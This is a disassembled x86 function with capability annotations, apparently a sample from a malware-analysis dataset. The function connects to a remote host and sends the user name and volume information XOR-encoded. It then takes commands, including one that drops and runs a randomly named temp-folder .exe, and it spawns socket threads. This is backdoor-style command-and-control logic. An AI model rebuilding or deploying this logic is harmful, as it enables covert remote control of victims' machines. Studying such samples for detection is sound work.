Function at 0x4029f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff96c
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
mov dword [ebp - 0x694], 0xffffffff
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x674], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x28], eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x678], 1
push 4
lea eax, [ebp - 0x678]
push eax
push 1
push 6
push dword [ebp - 0x350]
call sub.wsock32.dll_setsockopt
push dword [ebp + 0xc]
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00403501
push dword [ebp + 8]
call fcn.00403633
or eax, eax
je 0x402aa1
mov eax, dword [ebp + 8]
jmp 0x402ab1
push 2
push dword [ebp + 8]
call fcn.0040316d
push eax
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
push 0
push 0
push dword [ebp + 8]
call fcn.00403501
test eax, eax
je 0x402f54
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x678], 1
lea eax, [ebp - 0x678]
push eax
push 0x8004667e
push dword [ebp - 0x350]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x350]
call sub.wsock32.dll_connect
push 0
push 0xa
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x350]
call fcn.004035f9
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x402f54
mov dword [ebp - 0x678], 0
lea eax, [ebp - 0x678]
push eax
push 0x8004667e
push dword [ebp - 0x350]
call sub.wsock32.dll_ioctlsocket
mov dword [ebp - 0x694], 1
mov dword [ebp - 0x684], 1
mov dword [ebp - 0x680], 0x927c0
mov dword [ebp - 0x67c], 0x2710
push 0
push 0
lea eax, [ebp - 0x688]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x684]
push eax
push 0x98000004
push dword [ebp - 0x350]
call sub.ws2_32.dll_WSAIoctl
mov edi, dword [ebp - 0x28]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x36]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 0x32
push edi
push str.xordata
call fcn.00403874
call fcn.00403657
mov dword [edi + 0x32], eax
call fcn.004036aa
mov byte [edi + 0x35], al
mov byte [edi + 0x5f], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x60]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x32]
push eax
push 0x32
push str.xordata
call fcn.004032f1
push 0
push 0x64
push dword [ebp - 0x28]
push dword [ebp - 0x350]
call fcn.00403011
push 0
push 0x3c
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x350]
call fcn.004035f9
lea eax, [ebp - 0x18]
push eax
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
js 0x402f54
jne 0x402c5b
cmp dword [ebp - 0x2c], 0
jne 0x402f54
cmp dword [ebp - 0x30], 0
jne 0x402f54
jmp 0x402c13
mov edi, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 0
je 0x402c90
xor eax, eax
mov ax, word [edi + 2]
sub eax, dword [ebp - 0x2c]
push dword [ebp - 0x2c]
lea eax, [eax + edi + 4]
push eax
push dword [ebp - 0x350]
call fcn.00402fb9
test eax, eax
jle 0x402f54
sub dword [ebp - 0x2c], eax
jmp 0x402d1e
mov ecx, dword [ebp - 0x30]
mov edx, 4
sub edx, dword [ebp - 0x30]
push edx
lea eax, [ecx + edi]
push eax
push dword [ebp - 0x350]
call fcn.00402fb9
test eax, eax
jle 0x402f54
add dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jne 0x402d1e
mov dword [ebp - 0x30], 0
push 4
push edi
push 0x32
push str.xordata
call fcn.004032f1
cmp word [edi + 2], 0
je 0x402d04
xor ebx, ebx
mov bx, word [edi + 2]
push ebx
lea eax, [edi + 4]
push eax
push dword [ebp - 0x350]
call fcn.00402fb9
test eax, eax
jle 0x402f54
cmp ax, word [edi + 2]
je 0x402d1e
sub ebx, eax
mov dword [ebp - 0x2c], ebx
jmp 0x402d1e
xor ebx, ebx
mov bl, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x350], 0
je 0x402d1e
mov dword [ebp + ebx*4 - 0x350], 0
cmp dword [ebp - 0x2c], 0
jne 0x402f4f
cmp dword [ebp - 0x30], 0
jne 0x402f4f
cmp word [edi + 2], 0
je 0x402f4f
xor eax, eax
mov ax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push str.xordata
call fcn.004032f1
xor ebx, ebx
mov bl, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x402e78
mov ebx, dword [ebp - 0x28]
xor eax, eax
mov ax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
lea eax, [ebp - 0x690]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00401868
cmp eax, 0x400
jle 0x402e67
mov dword [ebp - 0x68c], eax
mov esi, dword [ebp - 0x28]
mov word [esi + 2], 4
push 3
lea eax, [esi + 1]
push eax
push 0x32
push str.xordata
call fcn.004032f1
push 4
lea eax, [esi + 4]
push eax
push 0x32
push str.xordata
call fcn.004032f1
push dword [ebp - 0x674]
push 7
lea eax, [edi + 1]
push eax
push dword [ebp - 0x350]
call fcn.00403011
push dword [ebp - 0x28]
push 0x200
call sub.kernel32.dll_GetTempPathA
lea edi, [eax + esi]
mov ax, 0x5c
stosb byte es:[edi], al
push 4
call fcn.00403843
lea ebx, [eax + 4]
push 0x18
call fcn.00403843
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x402df5
mov ax, 0x2e
stosb byte es:[edi], al
mov ax, 0x65
stosb byte es:[edi], al
mov ax, 0x78
stosb byte es:[edi], al
mov ax, 0x65
stosb byte es:[edi], al
mov eax, 0
stosb byte es:[edi], al
push 0
push 2
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
push dword [ebp - 0x28]
call fcn.004037c6
lea edi, [esi + 0x200]
mov ecx, 0x13
push 0x18
call fcn.00403843
add eax, 0x61
stosb byte es:[edi], al
loop 0x402e40
xor al, al
stosb byte es:[edi], al
push 0
push 1
push 0
push dword [ebp - 0x28]
push 0x14
lea eax, [esi + 0x200]
push eax
call fcn.00401141
lea eax, [ebp - 0x690]
push eax
call fcn.0040258d
jmp 0x402f4f
cmp byte [edi], 0
jne 0x402f36
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov esi, eax
push 0x180
push esi
push edi
call fcn.00403874
mov ecx, dword [ebp - 0x674]
lea edx, [ebp - 0x350]
lea eax, [ebp - 0x670]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
mov dword [esi + 0x188], ecx
mov dword [esi + 0x18c], edx
mov dword [esi + 0x190], esi
cmp byte [esi + 7], 4
je 0x402ee5
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x402ef0
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [ebp + ebx*4 - 0x350], eax
mov dword [ebp - 0x678], 1
push 4
lea eax, [ebp - 0x678]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x350]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x40266b
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x670], eax
jmp 0x402f4f
xor eax, eax
mov ax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x350]
call fcn.00403011
jmp 0x402c13
push dword [ebp - 0x350]
call fcn.0040314e
lea esi, [ebp - 0x350]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x402f6a
xor eax, eax
lea edi, [ebp - 0x670]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x402f76
push dword [ebp - 0x674]
call sub.kernel32.dll_ResetEvent
push dword [ebp - 0x674]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 0x28]
call sub.kernel32.dll_VirtualFree
mov eax, dword [ebp - 0x694]
pop esi
pop edi
pop ebx
leave
ret 8